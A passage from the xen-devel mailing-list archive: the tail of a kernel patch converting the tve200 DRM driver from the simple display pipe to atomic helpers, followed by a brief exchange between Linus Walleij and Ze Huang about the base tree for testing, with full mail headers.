+	/* For three plane YUV we need two more addresses */
+	if (fb->format->format == DRM_FORMAT_YUV420) {
+		writel(drm_fb_dma_get_gem_addr(fb, pstate, 1),
+		       priv->regs + TVE200_U_FRAME_BASE_ADDR);
+		writel(drm_fb_dma_get_gem_addr(fb, pstate, 2),
+		       priv->regs + TVE200_V_FRAME_BASE_ADDR);
+	}
+}
+
+static void tve200_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = cstate->event;
+
+	if (!event)
+		return;
+
+	cstate->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (cstate->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
+}
+
+static const struct drm_plane_helper_funcs tve200_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= tve200_plane_helper_atomic_check,
+	.atomic_update	= tve200_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs tve200_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static void tve200_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &priv->plane);
+	struct drm_framebuffer *fb = plane_state->fb;
 	struct drm_connector *connector = priv->connector;
 	u32 format = fb->format->format;
 	u32 ctrl1 = 0;
@@ -240,9 +319,9 @@ static void tve200_display_enable(struct drm_simple_display_pipe *pipe,
 	drm_crtc_vblank_on(crtc);
 }
 
-static void tve200_display_disable(struct drm_simple_display_pipe *pipe)
+static void tve200_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
@@ -255,46 +334,8 @@ static void tve200_display_disable(struct drm_simple_display_pipe *pipe)
 	clk_disable_unprepare(priv->clk);
 }
 
-static void tve200_display_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_pstate)
+static int tve200_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct tve200_drm_dev_private *priv = drm->dev_private;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
-	struct drm_framebuffer *fb = pstate->fb;
-
-	if (fb) {
-		/* For RGB, the Y component is used as base address */
-		writel(drm_fb_dma_get_gem_addr(fb, pstate, 0),
-		       priv->regs + TVE200_Y_FRAME_BASE_ADDR);
-
-		/* For three plane YUV we need two more addresses */
-		if (fb->format->format == DRM_FORMAT_YUV420) {
-			writel(drm_fb_dma_get_gem_addr(fb, pstate, 1),
-			       priv->regs + TVE200_U_FRAME_BASE_ADDR);
-			writel(drm_fb_dma_get_gem_addr(fb, pstate, 2),
-			       priv->regs + TVE200_V_FRAME_BASE_ADDR);
-		}
-	}
-
-	if (event) {
-		crtc->state->event = NULL;
-
-		spin_lock_irq(&crtc->dev->event_lock);
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
-}
-
-static int tve200_display_enable_vblank(struct drm_simple_display_pipe *pipe)
-{
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
@@ -304,22 +345,48 @@ static int tve200_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void tve200_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void tve200_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
 	writel(0, priv->regs + TVE200_INT_EN);
 }
 
-static const struct drm_simple_display_pipe_funcs tve200_display_funcs = {
-	.check = tve200_display_check,
-	.enable = tve200_display_enable,
-	.disable = tve200_display_disable,
-	.update = tve200_display_update,
-	.enable_vblank = tve200_display_enable_vblank,
-	.disable_vblank = tve200_display_disable_vblank,
+static int tve200_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs tve200_crtc_helper_funcs = {
+	.atomic_check	= tve200_crtc_helper_atomic_check,
+	.atomic_enable	= tve200_crtc_helper_atomic_enable,
+	.atomic_disable	= tve200_crtc_helper_atomic_disable,
+	.atomic_flush	= tve200_crtc_helper_atomic_flush,
+};
+
+static const struct drm_crtc_funcs tve200_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= tve200_crtc_enable_vblank,
+	.disable_vblank		= tve200_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs tve200_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 int tve200_display_init(struct drm_device *drm)
@@ -346,13 +413,31 @@ int tve200_display_init(struct drm_device *drm)
 		DRM_FORMAT_YUV420,
 	};
 
-	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
-					   &tve200_display_funcs,
-					   formats, ARRAY_SIZE(formats),
-					   NULL,
-					   priv->connector);
+	ret = drm_universal_plane_init(drm, &priv->plane, 0,
+				       &tve200_plane_funcs,
+				       formats, ARRAY_SIZE(formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
 	if (ret)
 		return ret;
 
+	drm_plane_helper_add(&priv->plane, &tve200_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &priv->crtc,
+					&priv->plane, NULL,
+					&tve200_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&priv->crtc, &tve200_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &priv->encoder,
+			       &tve200_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
+
 	return 0;
 }
diff --git a/drivers/gpu/drm/tve200/tve200_drm.h b/drivers/gpu/drm/tve200/tve200_drm.h
index 5420b52ea16b..631a9f5d9aa6 100644
--- a/drivers/gpu/drm/tve200/tve200_drm.h
+++ b/drivers/gpu/drm/tve200/tve200_drm.h
@@ -15,8 +15,6 @@
 
 #include <linux/irqreturn.h>
 
-#include <drm/drm_simple_kms_helper.h>
-
 struct clk;
 struct drm_bridge;
 struct drm_connector;
@@ -107,7 +105,9 @@ struct tve200_drm_dev_private {
 	struct drm_connector *connector;
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	void *regs;
 	struct clk *pclk;
diff --git a/drivers/gpu/drm/tve200/tve200_drv.c b/drivers/gpu/drm/tve200/tve200_drv.c
index 562f3f11812a..0b8096b1e600 100644
--- a/drivers/gpu/drm/tve200/tve200_drv.c
+++ b/drivers/gpu/drm/tve200/tve200_drv.c
@@ -105,16 +105,20 @@ static int tve200_modeset_init(struct drm_device *dev)
 		goto out_bridge;
 	}
 
-	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
-						    bridge);
+	priv->panel = panel;
+	priv->bridge = bridge;
+
+	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
 	if (ret) {
 		dev_err(dev->dev, "failed to attach bridge\n");
 		goto out_bridge;
 	}
 
-	priv->panel = panel;
 	priv->connector = drm_panel_bridge_connector(bridge);
-	priv->bridge = bridge;
+	if (!priv->connector) {
+		ret = -ENODEV;
+		goto out_bridge;
+	}
 
 	dev_info(dev->dev, "attached to panel %s\n",
 		 dev_name(panel->dev));

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 01:37:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 01:37:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371335.1618927 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woAHa-0007MB-5S; Mon, 27 Jul 2026 01:37:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371335.1618927; Mon, 27 Jul 2026 01:37:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woAHa-0007M3-0h; Mon, 27 Jul 2026 01:37:30 +0000
Received: by outflank-mailman (input) for mailman id 1371335;
 Mon, 27 Jul 2026 01:37:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <huang.ze@linux.dev>) id 1woAHZ-0007Lx-4z
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 01:37:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woAHY-006fBH-F2
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 03:37:28 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <huang.ze@linux.dev>)
 id 6a66b5eb-5cb7-0a2a0a5109dd-0a2a4502b9be-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:37:28 +0200
Received: from [91.218.175.183] (helo=out-183.mta0.migadu.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <huang.ze@linux.dev>)
 id 6a66b64b-6ca4-0a2a45020019-5bdaafb7efc3-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:37:15 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 27 Jul 2026 09:37:03 +0800
Message-Id: <DK8YVZNAFKSP.1JHSI6NI6LLYZ@oss.qualcomm.com>
Cc: "Alexey Brodkin" <abrodkin@synopsys.com>, "Maarten Lankhorst"
 <maarten.lankhorst@linux.intel.com>, "Maxime Ripard" <mripard@kernel.org>,
 "Thomas Zimmermann" <tzimmermann@suse.de>, "David Airlie"
 <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Joel Stanley"
 <joel@jms.id.au>, "Andrew Jeffery" <andrew@codeconstruct.com.au>, "Frank
 Li" <Frank.Li@nxp.com>, "Sascha Hauer" <s.hauer@pengutronix.de>,
 "Pengutronix Kernel Team" <kernel@pengutronix.de>, "Fabio Estevam"
 <festevam@gmail.com>, "Hans de Goede" <hansg@kernel.org>, "Alex Lanzano"
 <lanzano.alex@gmail.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, <dri-devel@lists.freedesktop.org>,
 <linux-kernel@vger.kernel.org>, <linux-aspeed@lists.ozlabs.org>,
 <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
 <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v3 0/8] drm: replace simple display pipe users with
 atomic helpers
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Linus Walleij" <linusw@kernel.org>, "Ze Huang"
 <ze.huang@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com> <CAD++jL=x2Ya_MXrO7FGF6WDzr4dv83K8-TS2AWkA2O0Dko8G4g@mail.gmail.com>
In-Reply-To: <CAD++jL=x2Ya_MXrO7FGF6WDzr4dv83K8-TS2AWkA2O0Dko8G4g@mail.gmail.com>
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-720697/1785116235-317CA2AC-AF6CD10B/0/0
X-purgate-type: clean
X-purgate-size: 857

On Mon Jul 27, 2026 at 4:32 AM CST, Linus Walleij wrote:
> Hi Ze,
>
> On Sun, Jul 26, 2026 at 9:45=E2=80=AFPM Ze Huang <ze.huang@oss.qualcomm.c=
om> wrote:
>
>> struct drm_simple_display_pipe was meant to simplify simple DRM
>> drivers, but instead adds an extra wrapper around normal DRM atomic
>> helper setup. As noted in Documentation/gpu/todo.rst, remaining users
>> should be converted to regular atomic helpers and stop depending on the
>> simple-KMS interfaces.
>
> Are these patches independent of other stuff so they can be tested on
> top of v7.2-rc1 or do they need other stuff from drm-misc-next?
>
> Yours,
> Linus Walleij

Hi Linus, patches are independent and can be tested on v7.2-rc1.

I've seen others patches based on drm tree so I did the same. Would
switch to v7.2-rc1 if that's preferred :)

Thanks,
Ze Huang


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 05:25:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 05:25:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371285.1618936 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woDpm-0001Cr-KK; Mon, 27 Jul 2026 05:25:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371285.1618936; Mon, 27 Jul 2026 05:25:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woDpm-0001Cf-F7; Mon, 27 Jul 2026 05:25:02 +0000
Received: by outflank-mailman (input) for mailman id 1371285;
 Sun, 26 Jul 2026 20:32:24 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <linusw@kernel.org>) id 1wo5WK-0002Ii-CX
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 20:32:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo5WI-009dZD-U8
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 22:32:22 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <linusw@kernel.org>)
 id 6a666ea5-e002-0a2a0a5209dd-0a2a450bc874-30
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 22:32:22 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <linusw@kernel.org>)
 id 6a666ed5-b7e8-0a2a450b0019-aceafc1fda68-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 22:32:22 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 92E6B439D7
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 20:32:20 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 650DA1F00ADF
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 20:32:20 +0000 (UTC)
Received: by mail-lj1-f170.google.com with SMTP id
 38308e7fff4ca-39c8ee87f7eso17667931fa.3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 13:32:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="References:In-Reply-To:From:Date:Subject:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785097940;
	bh=nkBZFniCUCzkEJIn51pXlmXmi8cVBb/p5U1a6qJ9Ixg=;
	h=References:In-Reply-To:From:Date:Subject:To:Cc;
	b=W4PHVQaN9xLoqX8eDXdj+/bdltzbpdrXuJcD/IwTHED/OAS43NtSi09Vq3d6U04b+
	 OZrfY1BdRBIr3/BvT4jphHKxshW4iPLq0SEQ9WJZ6UCiJXker7nVXzDJTQTJeSQmCJ
	 nqQTHDVkWE6CIw3XfTavcgeKi0qWFBHLD4jbLvVP/w0wy9EuQuHMdSUYi0WkY8Th+6
	 o3h8KWUIz3JqQ5OnPdjn8CRQ129kqIKO0RvU9aDDIqv2knEzTV6ddZotNnccrjNDf3
	 gD5p2j+s8qJDRnjJCabcz24JHju2UhLKMDmQz+l+lUVP9hxrlhIX6gKr3NzT1t2xHy
	 xsYC8WtlBRvmg==
X-Forwarded-Encrypted: i=1; AHgh+RrNlfmBsAPLjjB3imDUKdhqf2v3/0UdWWit5FKRh7mFLvQSgzLapaZG+Imb1yvhfz6/CHjAdxm+ZsI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxXxFi11jyjXwuyoJi1TPGpjSw2zkwKR5hvh9J/HHLsHn1vSy8e
	bOIacjgXnkqW0/GCkLl2T3DYmi7ZEBuUfIaUtZ4idaP8uqvy/j9YJ3XEkPfdfoyt5rEWtTFvDaL
	JFASRS7kL+CFJYTil043ywCn/Pq5Vxpk=
X-Received: by 2002:a2e:b8d5:0:b0:39c:99e9:da37 with SMTP id
 38308e7fff4ca-39f28779970mr10082271fa.1.1785097939063; Sun, 26 Jul 2026
 13:32:19 -0700 (PDT)
MIME-Version: 1.0
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
From: Linus Walleij <linusw@kernel.org>
Date: Sun, 26 Jul 2026 22:32:06 +0200
X-Gmail-Original-Message-ID: <CAD++jL=x2Ya_MXrO7FGF6WDzr4dv83K8-TS2AWkA2O0Dko8G4g@mail.gmail.com>
X-Gm-Features: AUfX_mwB4HUeh3S2YxcI83VgRSuUorQHaI7-JMSYPXy-LrwQZEzjVUoz5QHNF0A
Message-ID: <CAD++jL=x2Ya_MXrO7FGF6WDzr4dv83K8-TS2AWkA2O0Dko8G4g@mail.gmail.com>
Subject: Re: [PATCH v3 0/8] drm: replace simple display pipe users with atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>
Cc: Alexey Brodkin <abrodkin@synopsys.com>, 
	Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, Maxime Ripard <mripard@kernel.org>, 
	Thomas Zimmermann <tzimmermann@suse.de>, David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
	Joel Stanley <joel@jms.id.au>, Andrew Jeffery <andrew@codeconstruct.com.au>, 
	Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>, 
	Pengutronix Kernel Team <kernel@pengutronix.de>, Fabio Estevam <festevam@gmail.com>, 
	Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>, 
	Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, dri-devel@lists.freedesktop.org, 
	linux-kernel@vger.kernel.org, linux-aspeed@lists.ozlabs.org, 
	linux-arm-kernel@lists.infradead.org, imx@lists.linux.dev, 
	xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1785097942-190CD9EA-4E585A5B/0/0
X-purgate-type: clean
X-purgate-size: 575

Hi Ze,

On Sun, Jul 26, 2026 at 9:45=E2=80=AFPM Ze Huang <ze.huang@oss.qualcomm.com=
> wrote:

> struct drm_simple_display_pipe was meant to simplify simple DRM
> drivers, but instead adds an extra wrapper around normal DRM atomic
> helper setup. As noted in Documentation/gpu/todo.rst, remaining users
> should be converted to regular atomic helpers and stop depending on the
> simple-KMS interfaces.

Are these patches independent of other stuff so they can be tested on
top of v7.2-rc1 or do they need other stuff from drm-misc-next?

Yours,
Linus Walleij


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 07:18:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 07:18:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371433.1618948 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woFav-0007oO-I8; Mon, 27 Jul 2026 07:17:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371433.1618948; Mon, 27 Jul 2026 07:17:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woFav-0007oH-FU; Mon, 27 Jul 2026 07:17:49 +0000
Received: by outflank-mailman (input) for mailman id 1371433;
 Mon, 27 Jul 2026 07:17:49 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stephen.cheng@citrix.com>) id 1woFau-0007oB-Jg
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 07:17:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woFaq-002iBZ-UA
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 09:17:44 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a670618-5cb7-0a2a0a5109dd-0a2a4504b28e-4
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 09:17:44 +0200
Received: from [52.101.48.52]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a670616-b57f-0a2a45040019-346530340728-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 09:17:44 +0200
Received: from CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
 by DSSPR03MB989190.namprd03.prod.outlook.com (2603:10b6:8:376::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 07:17:41 +0000
Received: from CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767]) by CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767%5]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 07:17:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=YA7Lpe/kp5C99y/WB+iWPqEbHW035X1/4tI1qO4veXYqixHnn/4NDZdjrs2WH6KIu0A4eKiE3tVi4/ARbXz6ZCQC8TJSVeY//yZDmdISY2Vup2huQZgHEN0L3CPzxrvU5abe+iovTS0CLi6h5TJcglMX2qR3RMbNiadAlfNDs2AXlTPjk8tBCTz3+CvN6jbW8RcvQlA5oIGgC/YFqJmHcLUGqKV/xbMPWDmctM30AFk94G63aamLSwVUTKtgsTv89Gz+DsYIHiVS3CjqM92SMpTw1IwnOEpEItc0x1qYOTbyQhbf32hz86jbu+gCFYEzti16fe0eXcM565c583/zAw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DAcr0j+yIqsPRmD1tF/qZU0uE3TQSJfmiKWwtMqqju0=;
 b=pqWM5QDIeEHcqbn6OJOEmX29uXyFe5PbIDuFnN7U2CXhye1klYFkw+4w7OnBA7MmQam0VHqj83B+B8S5cr5QjZ3nltCKORd96kwZ+UkAmdNln46qBiJBI+4QYKPywViNb02/2QRq1Nfw6TjHHilAYnMs95h5wgCDd9FPV2pm1hEpT7xo4IOBKJ2EzWQNJcIj0s5GD1fvQMuFL2ehgDAQnR4gk4X0TuJux5fMycK7oUWxYrC+YNsd1mRg2HexoudQBCH8WmcuvS7i4mCdOtCsNTZqrLDJfHlvsZTXIk54ifR2oZLa6oDKwDz6krSwZXL+ckS8TXIX1jyulCZgcVZ1zQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DAcr0j+yIqsPRmD1tF/qZU0uE3TQSJfmiKWwtMqqju0=;
 b=laXjjnIVUfkp5/JrAs3HUEzdyEkj2KjBdokS+9oMxAOdHPI9lJ8wxT69FyanP3lrKBPFzoc2oJ8LhNUQbIxCeL0ZjU1lRy5MPkZJacWMdS/4lpdDC7QA/UXZeCq1I0FGKVsUEBN2x7B7m+Ktsl9kLySvZSi1aWCHX3q+duChexc=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Stephen Cheng <stephen.cheng@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Ross Lagerwall <ross.lagerwall@citrix.com>,
	Stephen Cheng <stephen.cheng@citrix.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
